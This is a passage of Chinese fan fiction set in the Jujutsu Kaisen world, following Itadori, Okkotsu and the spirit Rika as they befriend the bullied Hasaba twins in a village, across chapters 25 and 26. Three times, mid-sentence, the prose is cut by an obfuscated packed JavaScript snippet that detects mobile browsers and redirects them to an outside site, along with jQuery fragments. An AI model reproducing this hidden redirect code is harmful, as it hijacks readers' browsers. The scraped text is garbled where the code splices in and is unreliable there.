虎杖悠仁这才发现房间里连被子都没有,她们只能凭借身上单薄的衣物和彼此的体温来取暖,被夜晚骤降的温度冻得瑟瑟发抖,眼下一片病态的青黑。
“她们生病了。”乙骨忧太轻轻拉扯着虎杖悠仁的兜帽,凑到他的耳边悄声说。
虎杖悠仁向他比口型问他是怎么知道的,随即发现自己的问题真是太愚蠢了!
意料之外的是,乙骨忧太给出了他从未想过的答案。
他说:“是里香‘告诉’我的。”
并非是白色的咒灵亲自开口将两姐妹的情况告诉了乙骨忧太,而是他能够感觉到这就是里香想说的。
而且,他有一种预感。现在的话,虎杖悠仁提起过的、只有里香会使用的、可以治愈疾病的神奇魔法能够生效!
但是现在并不适合尝试,尽管他们都有些迫不及待。宫司和村长的女儿都在,这个胖胖的女人脾气并不好,几乎听不进别人说话,只对宫司的话尊敬一二,但也仅限于此了。
枷场姐妹中的其中一个女孩怀里抱着一个丑娃娃,她将埋在姐妹胸前的头微微转了过来,瑟缩的眼神对上了虎杖悠仁琥珀色的眼睛。
虎杖悠仁鬼使神差地对着她无声地说道:我们还会再来的。
不知道女孩看懂了没有,她很快就将脸重新转了回去。
在胖女人重新将门锁起来之后,宫司和她要去商量报酬的事,没有空管他们。虎杖悠仁直接拉着乙骨忧太向着临时住所的方向跑去,然后在某个转角处身影一转,隐秘地藏到了小巷中堆积的纸箱等废弃物的后面。
在宫司和女人走过之后,他们重新返回了村外的那栋小房子,带着从便利店买来的水和食物。
枷场菜菜子刚闭上眼睛,准备用昏睡来抵挡无处不在的寒冷与饥饿,从窗户外投射来的光影在她的眼皮上发生了变化,似乎有什么人在外面走来走去。
怀中的美美子也不安地动了动。
她睁开眼睛,透过堆着厚厚污垢的窗户玻璃,看到了这几天跟着那个神棍一起过来的男孩子们。
乙骨忧太正在研究怎么在不破坏锁头的情况下打开这个锁链,虎杖悠仁就从窗户玻璃那里向里张望,没想到正好碰到里面的女孩抬起头,他们的视线撞到了一起,他向里面的女孩子们举起手中的面包和水,用力晃了晃。
“悠仁!”乙骨忧太的声音突然跑到了虎杖悠仁的头顶,他抬起头看了一眼,发现黑发孩子坐在里香身上向他伸出手。他从容地握了上去,在枷场姐妹惊讶的眼神中消失在了窗户前。
“菜菜子,刚才那个是......”
皮肤稍微黑一些,营养不良的头发像是干枯稻草一样的女孩顺着天花板上传来的异动抬起头,下意识地抱紧了美美子。她们都看见了那一闪而过的巨大生物,下一刻,连通着阁楼、但木梯子被人卸掉的洞口被人从上面打开了。
粉发孩子的头从天花板上倒着伸了下来,在稍微确认了下面的环境之后,虎杖悠仁扭转身体将下半身悬空着吊了下来。
“你们在干什么?!太高了!跳下来会受伤——”
枷场菜菜子的话音未落,虎杖悠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378163|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仁一边嘟囔着“嘿咻”一边松开了扒着阁楼入口边缘的双手。
他对自己的落地还算满意,站稳之后立刻向上伸出手,一只白色的巨大手掌将那些面包和水送了下来,乙骨忧太借着里香伸到下方的手掌降低了一些高度,也从阁楼上跳了下来。
在他夸赞里香并让它回到影子里时,虎杖悠仁已经非常自来熟地跑到了枷场姐妹的身边。他没有靠得太近,与她们保持了一个不远不近的距离,不会让她们觉得受到了威胁。
“给你们!你们很久没有吃东西了吧?”他将面包和水放在地上推了过去,然后就双手抱膝蹲在一旁:“衣服也有哦,披上的话至少会稍微暖和一点。你们一直住在这里吗?”
“......”
枷场菜菜子警惕地看了一眼外面,尽管对他们的意图仍有些怀疑,但在饥饿和口渴的驱使下还是拿起了水,发现瓶盖已经被贴心地拧开了。
“不要太着急,”乙骨忧太将衣服递了过去,同样没有靠得太近,“他是虎杖悠仁,我是乙骨忧太。”
在宫司发现他们没有回到临时住所之前,还有一段不长不短的时间。他们耐心地等待着枷场姐妹分吃完一整块红豆面包,她们的警惕心也在这样的投喂中变得稀薄起来,开始若有若无地打量起在对面如出一辙抱膝坐着的男孩们。
“......你们两个是笨蛋吗?”
虎杖悠仁大吃一惊:“怎、怎么会?!”
“美美子。”抱着玩偶的黑发女孩将下巴缩回玩偶的脑袋后面,只露出一双眼睛来。
说他们是笨蛋的女孩噘着嘴:“我是菜菜子。枷场菜菜子,枷场美美子。”
她先指了指自己,又指向了自己的姐妹。
“你们是双胞胎啊。”乙骨忧太弯着眼睛。
“所以,刚才那个到底是什么?那个特别大的白色的家伙?”
虎杖悠仁换了个姿势,盘腿坐了下来:“她是里香,祈本里香,是我们的家人哦!你们能看得见她,也就是说也能看见咒灵喽。”
他们花了些时间向女孩们解释什么是咒灵,而里香又和普通的咒灵有什么区别。枷场姐妹很快便理解了这些。
“所以,那些怪物是叫做咒灵?为什么会有咒灵产生啊?其他人根本看不见那些家伙,明明是它们做的坏事却推到我们头上......”
枷场菜菜子生气地说。可惜这样的问题虎杖悠仁和乙骨忧太也无法解答,他们也不知道咒灵因何而生,“为什么只有我们能看见”的问题更是在各自的心中被不停反复地询问着。
“看起来像是只有小孩子才会看得见这些东西,也许等到我们长大之后就看不见了吧?”
听到枷场菜菜子这样的话,虎杖悠仁和乙骨忧太面面相觑,不知道该怎样反驳她。如果真的是这样那就太好了,但事实是宫司也能看见咒灵,他已经是一个成年人了。
“今天是祓除仪式的最后一天了,明天你们就能被放出来了吧?”
枷场菜菜子挑眉:“这个什么破烂仪式真的有用吗?”
他们对此心知肚明,乙骨忧太摇了摇头。枷场美美子说:“离开这里也是一样的。”
没有人会相信她们说的话,被所有人排斥着,被恶劣的家伙谩骂她们是没人要的野种,就因为她们的父母也是同样的“怪物”。
没有人会善待这样的她们。
父母留给她们的房子里和这个囚禁她们的牢笼一样冰冷,但至少那里还能汲取到早已冷却的温度,仅凭记忆中模糊的美好幻影,她们还能相互支撑着度过一个又一个难熬的夜晚。
气氛突然变得沉重了起来,空气湿哒哒地黏在每一个“怪胎”的身上。
“......总有一天我要带着美美子离开这个鬼地方。”
半晌,枷场菜菜子攥紧自己同胞姐妹的手,恶狠狠地说道。
虎杖悠仁的眼睛亮了起来:“对啊,只要等到长大,我们就能赚到钱。城市里虽然咒灵多一些,但比起村子里的人......也没那么难以接受了。”
这话太过可笑,住在村子里的这短短几个月居然让他觉得咒灵也变得和蔼可亲了起来。虽然它们的长相依旧丑陋得难以入眼,但比起“人”来说,简直单纯得可怕。
乙骨忧太将下巴放在膝盖上,侧着脸看着眉眼明亮的虎杖悠仁。
他们从城市里逃到乡下,最后却狼狈地回想着城市生活的好。简直就是身在福中不知福、直到失去才知道珍惜的典范,虎杖悠仁曾经有想过如果当时他们没有选择回到乙骨忧太的老家,而是他带着乙骨忧太回到妈妈给他准备的公寓......
但假设终究是假设,在变成真正的现实之后都会面目全非。他已经接受自己认知中的未来根本不可能和自己想象中的一样美好这个事实了。
而且,妈妈也很奇怪,如果他们真的选择一起在城市里生活的话......也许同样会有很可怕的事情也说不定。
那时他体会到的毛骨悚然绝非错觉。
25. 第 25 章
“地图?”
虎杖悠仁点点头:“地图。”
“......”店主拿出了一份全国地图,虎杖悠仁表示自己想要这附近的地图。
他的话让店主嗤笑了一声,将拿出的地图重新收了起来:“这附近的?哪有那种东西!不管是这个村子还是你们那个村子,在地图上都找不到啦。想找一个有村子的地图,还不如自己画一个来的方便。”
虎杖悠仁失望地走出店面,向乙骨忧太摇摇头。
“不行啊,大家都说这里在地图上找不到。没有方向的话,我们很难自己过来吧。”就算沿着大路走,中途也会有很多岔路,光凭一来一回就将正确的道路记下来有些太难为他们两个了。
“还会有机会的。”乙骨忧太让他戴上帽子,坐在车斗的最里面。
村子里的生活逐渐开始一成不变,他们也正在慢慢养成全新的生活习惯。以松下为首的孩子们依旧在围绕着巨木玩蒙眼游戏,树根中间的神龛前总会供奉着半新不旧的果子。
虎杖悠仁有的时候会站在鸟居下偷偷看那群孩子,游戏的主角换了一个又一个,但他们乐此不疲。
乙骨忧太在石阶下等他。他三两步跳了下去,得到了黑发孩子不满的目光。
“喔!虎杖!这里有你的包裹!”在他们经过便利店的时候,店主突然拦住了他们。
“包裹?”村子里还能收到邮件吗?今天也没听说有外面的车过来。
便利店店主取出了一个包裹,虎杖悠仁接过来时没感觉包裹有多重,从外包装上看不出有什么标志性的标记。究竟有谁会给他寄东西呢?
“我去外面进货的时候有人托我给你带过来的,”店主向他手里的包裹扬了扬下巴,叼着烟说道,“拿回去看看吧。”
那人给了他不少好处,所以这包裹也就顺利地送到了虎杖悠仁手上。
“我出去进货的时候拿过来就行。”他们离开时,便利店店主又说了一句他们听不懂的话。
一回到家,虎杖悠仁好奇地打开了包裹。
里面塞了一个信封和一台......自印相机?虎杖悠仁倒是在仙台的药妆店看到过有大姐姐们会买这种相机的相纸,随着相机掉出来的还有一封信。
正面用刚上幼稚园的孩子都能看懂的卡通图画交代了这台相机究竟应该如何使用,并且标注上了注意事项,比如如何更换相纸之类的。纸的背面写了一些字,乙骨忧太打开灯,和虎杖悠仁一起趴在桌子上一字一句地读了起来。
“......是妈妈。”
只透过白纸黑字的字句,虎杖悠仁却仿佛能够听到他在自己耳边轻声说话。
妈妈希望他可以拍下自己的照片,每个月让便利店的店主将相片带走。
——悠仁是个乖孩子,你答应过妈妈,要听我的话对吧?
自己的不告而别让妈妈很伤心,但他会尊重虎杖悠仁的选择,只是他想要看见粉发孩子成长的每一个阶段,所以要求他务必要记得将相片送回去。
“......妈妈知道我在哪里。”
短短的几行字,虎杖悠仁翻来覆去地看了好几遍,然后又开始研究相机的用法。这台机械不大,小孩子也能轻易驾驭。虎杖悠仁闭起一只眼睛,另一只睁开的眼睛透过取景框捕捉到了仍在认真研究那封信的乙骨忧太。
咔嚓。
他下意识地摁动了快门,将那一刻的景象永远定格了下来。
机器缓慢地吐出了一张什么都没有的相片,虎杖悠仁捏着它的一角,惊奇地放到了桌子上。
被偷拍的人注意到了虎杖悠仁的行为,也凑过去看那张正在逐渐显色的相纸。
“真的是忧太哇!”
乙骨忧太敲了敲他的头:“如果有别人出现在我身后不就是恐怖故事了吗!”
听起来太可怕啦!
相片的清晰度不是很高,而且光全都集中在了乙骨忧太的脸上,导致背景显得有些暗淡,看起来就像是很早很早之前有些褪色的老照片。
“悠仁想在屋子里拍吗?还是去外面?”
虎杖悠仁跳了起来:“去外面!我还想给里香拍!”
趁着天还没黑,虎杖悠仁和乙骨忧太去了土路对面仍未完全凋谢的花海。夕阳已经在他们身上留下了橙红色的轻纱,但色彩正好。
虎杖悠仁冲到了群花的中央,笑得灿烂极了。乙骨忧太举起相机半跪在地上,将浑身散发着暖洋洋感觉的孩子锁在了小小的取景框里,摁下了快门键。
“哈哈!”柔软的花瓣打在他的腿上,从指缝间溜走,只留下粉嫩的触感。在等待相纸显出图案的时间里,虎杖悠仁好不容易将里香劝了出来,却发现他无法从取景框里看到它。
“......里香没办法出现在相机里诶。”不过想想也是,如果相机能够拍到咒灵的话,大家怎么可能不知道它们的存在?
不过他很快就将这点失落甩到了身后,从泥土上捡了很多刚掉落的花瓣编入草茎制成的花圈中,里香也想帮他,可它的身躯太大,轻柔捡起那些小小花朵的同时还要避免伤害到它们,这些工作对里香来说并不轻松。
虎杖悠仁哼着歌很快给里香编好了一个超大号的花环。作为本体的草茎上有很多叶子没被摘下,绿叶之间穿插着各种颜色、不同大小的小花,散发着馥郁的芳香。
尽管是已经掉到泥土上的落花,却还能发出这样浓烈的香气呢。
里香显然很开心,连动作都能看出它很在乎头顶上的这一圈花环,行动的时候也在尽力控制着速度与动作幅度,生怕破坏了脑袋上的这个小东西。
乙骨忧太手中的相纸将图片逐渐完整地显露出来了。
“悠仁的妈妈有说要寄走多少张吗?”
“嗯......三四张?剩下的我们可以自己留着嘛!”
村子里的便利店肯定没有买相纸的,他们可以拜托店主在去城里的时候从药妆店帮他们带一些回来。
有了妈妈给的零花钱,他们的日子突然变得富裕了起来。但是购置更多家用电器的想法还是没能实现,因为他们家过于老旧的电路设计并不支持他们同时使用这么多电器。乙骨爷爷也因为电费和水费从乙骨母亲寄来的生活费中扣掉了更多的钱。
他们又去了旧村一次,这次是跟着去那边采买东西的巫女们一起走了小路。小路没有那么多分岔口,确认了这一点,虎杖悠仁和乙骨忧太以后就能自己从这条路去隔壁村子了。只有他们自己的话,就可以叫里香带着他们飞过去,肯定要比现在往返的时间更短。
“这个是相机哦!很快就能看见照片,不用专门跑去洗照片。”
枷场姐妹回到了父母留给她们的房子里,比村外的那个屋子好上不少,但仍在村子的外围。门口有很多用油漆泼洒涂抹上的污言秽语,虎杖悠仁和乙骨忧太找过来的时候,枷场姐妹正用抹布擦拭着墙上的字。
四个孩子努力了一个下午,最终还是放弃了。
他们现在待在空荡荡的房间里摆弄虎杖悠仁带过来的相机,枷场姐妹没见过这个东西。相机被交到了枷场菜菜子的手上,她将眼睛放到取景框的后面。
“好神奇啊,”她看着取景框里的景象,手指虚虚地放在快门上,“只要摁下这个按钮,就能将画面定格......就好像从时间里偷走了什么东西一样诶。”
她看了一会儿,向虎杖悠仁征求他的同意:“我能给美美子拍一张吗?”
粉发孩子欣然同意,并且提出他可以帮她们一起拍。
“等到长大了再看这些照片会很感慨吧,”乙骨忧太帮她们腾出了一片比较合适的背景,“我以前看过自己还是个小婴儿时的照片,是医院的医生帮忙拍的......完全看不出来那居然是我自己呐!”
“我也想看!”虎杖悠仁凑热闹地说道。
“在我家啦......”那本相册不知道被收到哪里去了,估计很难找到了吧。
“唔姆。”虎杖悠仁从善如流地转换了话题,发现枷场姐妹站得笔直,有些紧张地样子,他开始教她们要摆出什么样姿势比较好看:“来比剪刀吧!”
“这样吗?”枷场菜菜子学着他的模样将剪刀手伸到身体前,美美子从玩偶的头后面伸出了两根手指。
“没错没错,要笑起来哦!三、二、一!!”
快门声响起,枷场菜菜子露出了父母离开后第一个发自内心的笑容,美美子也将下巴从玩偶身后露了出来,小小地翘起嘴角。
“我想看!悠仁、忧太,你们谁的照相技术更好啊?这个要等多久才能看到图案?”枷场菜菜子有些迫不及待地期待着。
“大概要等两三分钟左右吧?”乙骨忧太将什么都没有的相纸交给了枷场菜菜子,听到虎杖悠仁说“当然是我拍的好看!”的时候轻轻笑了两下。
“美美子!我来给你单独拍一张吧?”因为黑头发、有些内向的女孩已经盯着虎杖悠仁看了很久,所以他主动提议道。
在他们鼓捣拍照姿势的时候,枷场菜菜子已经因为逐渐清晰起来的图案惊呼了起来:“哇!真的耶!”
乙骨忧太简直要笑倒过去:“菜菜子的反应和悠仁第一次用相机的时候简直一模一样哇!”
“诶?!”
“哈?!”
一男一女两道声音异口同声地响起,连听到乙骨忧太的调侃后的反应都一模一样,完美地证明了他的说法。
“哈哈!菜菜子,你们真的好像啊!”枷场美美子笑得眼睛弯了起来。
一样咋咋呼呼的性子,同样天生与众不同的发色。
“说起来,悠仁你的头发居然是天生的吗?!上面是粉色的,下面是黑色的?太不可思议了!”
“是天生的喔。”虎杖悠仁轻轻呼噜了一下自己的头发,开始思考他们四个人可以一起玩点什么。
反正枷场姐妹家附近很少有人愿意靠近,他们在附近的小巷和院子里玩了一个下午的踢罐子捉迷藏。
“悠仁你就是个体力笨蛋吧!以后绝对不会再让你来抓人了!”
枷场菜菜子抱着水瓶坐在台阶上气喘吁吁,美美子已经靠在她的后背上闭目养神了,乙骨忧太歪七扭八地躺在地上,同样大口喘着气。依旧精力满满的虎杖悠仁插着腰“仰天大笑”:“是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378164|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的超级大胜利!!”
因为其他人都跑不动了,所以虎杖悠仁也跟着他们一起坐了下来。
“里香,”枷场菜菜子突然问道,“她是个什么样的女孩子呢?”
虎杖悠仁抢答:“是个很好很好的人!”
他掰着手指头:“会带着我们一起玩,会像家人一样照顾我们,会给我带零食......”
她的身上有一种神奇的魔力,因为远超同龄人的成熟让她过早地展现出了年长者的包容。这对人生中极度缺乏这种类型角色的虎杖悠仁来说是一种致命的吸引力。
“她肯定很喜欢你们。”枷场美美子托起从不离手的玩偶,针脚粗糙的娃娃软趴趴地耷拉着脑袋。
“我也超喜欢里香!”虎杖悠仁欢呼道。
“那按照你们说的,让她的灵魂成佛之后,里香就会消失了吗?现在这样也很好吧?不会觉得舍不得吗?”
枷场菜菜子让美美子躺在自己的腿上,扒拉着她手中的玩偶。她和美美子最近总是很想爸爸妈妈,如果他们还能重新出现在她们身边的话,就算是像里香一样说不好话、什么都不记得也没关系。
仅仅是留在她们身边就会非常有安全感。
乙骨忧太释然地说:“虽然被留下来的人会感觉到孤独......我们当然会觉得舍不得啦,但是,还是更希望她能够往生极乐。要是还有下辈子的话,拥有一个更幸福的人生就好了。”
“往生极乐?”
“总之,就是希望她能够幸福啦。”虎杖悠仁扯着脚边的杂草,摁住了窜出来的一只蚂蚱。
“快把那只虫子扔掉啊!呜哇不要靠过来!!感觉好恶心!!”
开始调皮的虎杖悠仁故意捏着挣扎的蚂蚱作势要将它扔到枷场菜菜子那边去:“烤蚂蚱也很好吃哦。”
乙骨忧太大为震惊:“悠仁你、你还吃过蚂蚱吗?!”
在女孩子们开始尖叫之前,虎杖悠仁将蚂蚱丢到了院子外,闻言挠了挠下巴:“......脆脆的。”
“呜哇悠仁你不许再说了!!”
“诶?!但是味道真的还不错耶,以前爷爷带我去的农场会有这样的......”其实虎杖悠仁只记得浓到有些呛人的烧烤酱和直窜鼻尖的辣椒粉的味道。
大概像是蚂蚱或者田螺这样的小东西,只要处理干净再加上超级无敌多的酱料的话都会变得很好吃吧?
所以他现在还是很可惜跑掉的那一盆田螺。
枷场美美子的玩偶有个地方开线了,填充的棉花从布料的缝隙中漏了出来。
“要是有针线的话,我可以帮忙缝上,”虎杖悠仁说,“但是只限缝起来,我的针线活做得不够好——”
一声脆响打断了他的话,让院子里顿时变得死寂,这样正好能让从屋子前方传来的哗啦啦的声音变得清晰明了。
那是玻璃被打碎的声音,无数玻璃碎屑落在地面上才会发出如同下冰雹一样的声响。
安适的氛围被突然破坏,骤然紧绷的神经让四个孩子不由自主地沉下脸。
“哪个混蛋啊?!”枷场菜菜子第一个冲了出去。她的声音引来了院子外面的“罪魁祸首”的大声嘲笑。
“怪物出来了!!快跑啊!!”
嬉皮笑脸的家伙们一边跑远一边往回做鬼脸:“女巫就应该被绑起来烧死!丑八怪!该死的双胞胎!!”
“又是他们!”虎杖悠仁紧随其后,只是听到声音就已经知道又是那群可恶的家伙。
枷场菜菜子已经从院子里捡起石头向他们扔了回去,那群孩子像是鱼群一样被驱散了一瞬,然后又重新聚集在一起,站在远处继续大声说些侮辱人的话。
可是当他们看到那头粉色的短发时,为首的男孩突然感觉脸一痛。
“是、是那家伙!”
虎杖悠仁的眼睛看起来像是闪烁着的金色,一旦面无表情就会让那上翘的眼角配上冷冰冰的金组成一张锋利的面具。
他一句话也没有说,直接翻出了栅栏,迈着步子向那群孩子的方向跑了过去。
见过他发疯打人的孩子们一哄而散,也顾不上说些什么狠话,全都狼狈地逃跑了。
虎杖悠仁追了两步就停了下来,皱着眉毛望向他们的背影。
“......这个鬼地方全都是这样的烂人。”枷场菜菜子愤恨地踢飞一颗石子,回头去看被他们打破的玻璃,那个边缘锋利的洞就像那些话语在她们心中留下的伤口一样,让人不敢触碰,看着又觉得恶心。
枷场美美子已经从杂物间里拿出了扫把和簸箕,帮着菜菜子收拾玻璃碎屑。
“这种感觉好讨厌。”虎杖悠仁对站到他身边的乙骨忧太说道。
黑发的孩子这次没准备阻拦他,而是跟着他一起冲了过来。
“就算今天我依旧打回去了,但是明天他们还会继续。我们离开这里之后,菜菜子她们还会继续被他们嘲笑。”
这感觉实在太奇怪了。
“......”
乙骨忧太拉着他去帮枷场姐妹收拾一地狼藉。
这世上有太多想不明白的事了。
26. 第 26 章
“其实,只要让他们足够害怕,再也不敢做这种事就可以了。只要想到就会瑟瑟发抖,在心里留下不可磨灭的恐惧,敬畏也就会自然而然地产生。”
但是,总会有无论如何都要作恶的人,也总会有无论如何挣扎都会发生的事。
“那就放弃吧,将那些无可救药的人视作路边的砂砾,无论是踩在脚下还是随意踢开都无关紧要。只有愚蠢的‘神’才会想要拯救所有人。”
只有愚蠢的人才会相信“神”会拯救所有人。
虎杖悠仁种在院子里的种子生出了小苗,但它们出芽的时间并不太合适,因为很快就要进入寒冬,而孩子们没有能力让它们安然度过这个冬天。
“哼哼,被炉~被炉~!”
虎杖悠仁兴奋地看着杂货店的店主帮他们组装被炉。电热器被嵌入矮桌的中央,松木制成的桌面轻便隔热,方便他们挪开桌子清理地面。
全新的被炉套装有三档,足够让他们的冬天不那么难熬。
“我这还有多出来的一点塑料膜,”杂货店店主临走时将推车上无用的多余塑料膜留给了他们,“在你们的小菜地里盖上点吧,没准能坚持过冬天呢。”
乙骨忧太向店主道谢,虎杖悠仁已经抱着那卷塑料膜跑去了院子里。
“直接盖上去?还是用铁丝做出骨架将它们撑起来?”他从刺猬们最喜欢的藏身处左翻翻右刨刨,找出了很多不那么容易变形的粗铁丝。
乙骨忧太觉得还是不要压到那些好不容易长出来的叶苗比较好。
他们费了些时间将那些铁丝剪成合适的长度,由戴着麻线手套的虎杖悠仁调整它们的形状,像是制作了一艘倒扣在菜地上的小舟一样一点点将它们戳进地面里,为柔嫩的叶苗与塑料膜之间留出了足够的空间。
神社的工作相当悠闲,似乎只有每年的大小祭典之前的那段时间会忙碌一些。乙骨忧太本来以为宫司会像教会学校那样教授他们一些教义或者成为神官所必须学习的知识内容,但男人似乎对此并不太在意。
前几天有个女孩子也像他们一样来到神社学习,与他们不同的是她吃住都在神社,平常除了像他们一样干些清理之类的杂事,空余的时间会跟着巫女们学习神乐舞。
听说那个女孩是因为父母过世,家里没有人照顾她,才来到神社跟着巫女们一起生活。
来日方长的悠闲反倒让虎杖悠仁和乙骨忧太无法心安理得继续慢悠悠地混日子,既然决定以后要离开这里,除去维持生活必须花掉的费用之外,从双方家长那里拿到的剩余零花钱都被他们好好地存了起来。
其实乙骨忧太想要买些书来看,但村子里连旧书都很少见到,只能拜托便利店店主在每次出去进货的时候和药妆店的相纸一起帮他们带回来。
因为不知道该买什么样的书来学习,所以就说“请书店的店员推荐一些小学生辅导手册之类的书”,最后得到了一堆各种不同年级的课本和店主随手拿上的漫画杂志。
二手课本上有原主人留下的字迹,但对于他们来说没什么太大的影响。
逐渐变冷的天气将喜欢在外面到处疯玩的虎杖悠仁压回了温暖的屋子,当他们不知道该做些什么来打发时间的时候,看那些课本就成了最好的选择。
不过,比起课本,虎杖悠仁更喜欢那些漫画杂志。
尤其是数学!他只要一看到那些数字就会下意识拧起眉头,虽然理解课本上的知识和完成计算并不能难住他,但他就是觉得自己和数字合不来的。
“简直就像是见到了天敌一样!”
虎杖悠仁缩进还没通电的被炉里,趴在沙发垫上看漫画。尽管这本漫画杂志他已经看上了六七遍,就连边边角角里的文字和大头照都仔细地看了个遍,但还是乐此不疲。
“什么嘛,悠仁这么害怕数字?”
“唔,也不是害怕啦,”虎杖悠仁翻了个身,“只是不太喜欢......不,是超级不喜欢,以后会掉到坑里去的感觉。忧太没有这样的感觉吗?有的时候我见到一个人,下意识地就会觉得自己绝对不会喜欢这个家伙。”
乙骨忧太动了动被虎杖悠仁压在腿下的脚腕,思索着说道:“如果是说讨厌的食物的话......肥肉?牛排上的脂肪一类的,我绝对不会吃的!”
但是说到人。像是虎杖悠仁一样,第一眼看见就觉得讨厌的家伙也有,不如说他对大部分人都很难升起“喜欢”的感觉。比如祈本里香的父亲,以及和他有着如出一辙的阴暗气质的爷爷。如果作为陌生人擦肩而过倒是无所谓,但要是继续产生联系的话,绝对是会被他彻底讨厌的类型。
人际关系总会给他带来很大的压力。
“肥瘦相间的肉最好吃了!”虎杖悠仁提出异议,腿开始不安分地乱动起来。
“悠仁没有讨厌吃的东西呢,”乙骨忧太感觉地板硌着自己脚踝地方的骨头,所以将腿缩了回来,又换了个角度插到了虎杖悠仁的腿和地板之间,“幼稚园的老师们最喜欢不挑食的孩子了。”
“幼稚园?”
“悠仁绝对很受欢迎。”
“诶......其实没有啦。大家总爱凑在一起玩,哪怕不喜欢那些游戏也一定要和别人待在一起。很少会有人和我一起玩其他的游戏,所以一个人的时候反而会更多一点。”
虎杖悠仁觉得这样也没什么不好,他又不是自己一个人待着就会觉得不舒服的类型。
“悠仁好厉害啊。”
“这又是在说什么?忧太你说话总是好难理解哦。”等他长大一点的话会听得更明白吗?
话题被温暖的被炉模糊了过去,早就看过很多遍的漫画内容对虎杖悠仁的吸引力已经没有那么大了,在强撑着眼皮继续看下去和就这样缩在热乎乎的被炉里睡一觉的选择之间犹豫的时候,虎杖悠仁开始小鸡啄米一样点头。
“......困了吗?不能在这里睡着哦,不然会出很多汗的。”乙骨忧太拉住了一只脚掉进梦中的虎杖悠仁:“去床上睡吧。”
虽然是深秋,但睡在被炉里还是有些太早了,很容易在醒来的时候满身大汗,之后只能去洗澡。
“好......”虎杖悠仁揉着眼睛从被炉里爬出来,晃晃悠悠地走到了床边,然后直接向前一趴,只将上半身瘫在了床铺上,大有就要这样一觉睡过去的趋势。
乙骨忧太任劳任怨地起身,抬着他的双腿将人顺着床边摆好,像是卷寿司一样将粉发的孩子推到了床铺的里端,盖好被子。
他将被炉收拾一番,决定自己也去睡个午觉。虎杖悠仁虽然睡眠质量很好,但睡眠时间几乎卡得牢牢的,如果下午睡了午觉,晚上的睡觉时间就会拖到很晚,但第二天早上仍旧能够按时精神满满地起床。
为了和他保持一样的作息,乙骨忧太决定跟着虎杖悠仁一起将睡眠时间分割成两段,不然他第二天早上起床的时候就会超级困难。
就在他闭上眼睛准备入睡的时候,他以为早就已经睡着了的虎杖悠仁却突然开口,带着像是刚醒过来时才有鼻音:“忧太,现在你还会梦到里香吗?”
“......上次之后,就没有了。”
“里香一直都没来找过我。”虎杖悠仁的声音逐渐清晰,刚才萦绕在他身边的困意似乎被逐渐驱散了。
“......”
“我们也没有里香的照片,要是以后忘记她长什么模样了该怎么办啊?”
“不会忘的。”
“我已经开始忘记老家的幼稚园同学的脸了。”
“就算忘记了,但他们也曾经在你的记忆里留下过痕迹。就像踩在雪地里的鸟爪印,等到来年春天冰雪消融的时候就会消失,但那只鸟却不会就这样跟着自己的脚印一起消失呀。”
“......”
虎杖悠仁眨了眨眼睛,感觉困意又重新席卷而来。他任由那股水流将自己带走,落入梦境的怀抱。
乙骨忧太反倒没有了睡意,侧身躺着之后,他看见了挂在床头的玩偶。这个小小的布娃娃是枷场姐妹做的,美美子和虎杖悠仁学了如何使用针线,没事干的时候就会自己缝些小娃娃,送给他们的这个是其中做得最好的一个。
虽然乙骨忧太第一次见到的它时候觉得这个娃娃有点丑丑的,但挂在床头放久了反而从中看出点可爱来。
这也许就是,看顺眼了吧?
那群总是来枷场家捣乱的孩子最近也消停了不少,菜菜子和美美子的父母给她们留下了一些财产,节省一些的话能够支撑她们生活很久。
比起漫画,枷场姐妹更喜欢时尚杂志。虎杖悠仁每次看到时尚杂志上那些密密麻麻的黑色小字都会头晕眼花,但菜菜子即便看不懂那些字,只看图案也会很开心。她们会拉着虎杖悠仁问他究竟哪个城市更好一点,乙骨忧太觉得她们只是喜欢着与这个村子完全不同的东西,而不是真的喜欢那些时尚“前沿”的东西。
毕竟她们手上的那本时尚杂志也是好几年前的老古董了,是便利店店主上次带回来的,被虎杖悠仁他们送给了枷场姐妹。
耳边传来了孩子平稳的呼吸声,一呼一吸间的节奏让乙骨忧太被同样拉入了梦乡。
他再一次梦见了祈本里香。
这是他们常去的公园,祈本里香坐在秋千上,晃晃悠悠的,脚不沾地。
不知为何,乙骨忧太能够清晰地知道自己正在梦中,眼前经历的一切都是不存在现实的景象,是由自己的大脑为他构筑出来的一场梦幻的泡影。
女孩荡着秋千,长长的头发随着摇晃的幅度轻轻拍打在她的后背上,碎发轻飘飘的,将从她身前打来的光切碎。
“里香,”乙骨忧太站在原地,轻声问道,“告诉我你的愿望吧,我和悠仁一定会替你完成的。”
他看不到祈本里香的眼睛,视线追逐着摇荡的秋千,听到了女孩的笑声。
她像一朵过早凋谢的花,没有落在泥土里,而是自由地随着将她摘走的风飞向了乙骨忧太追不到的地方。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 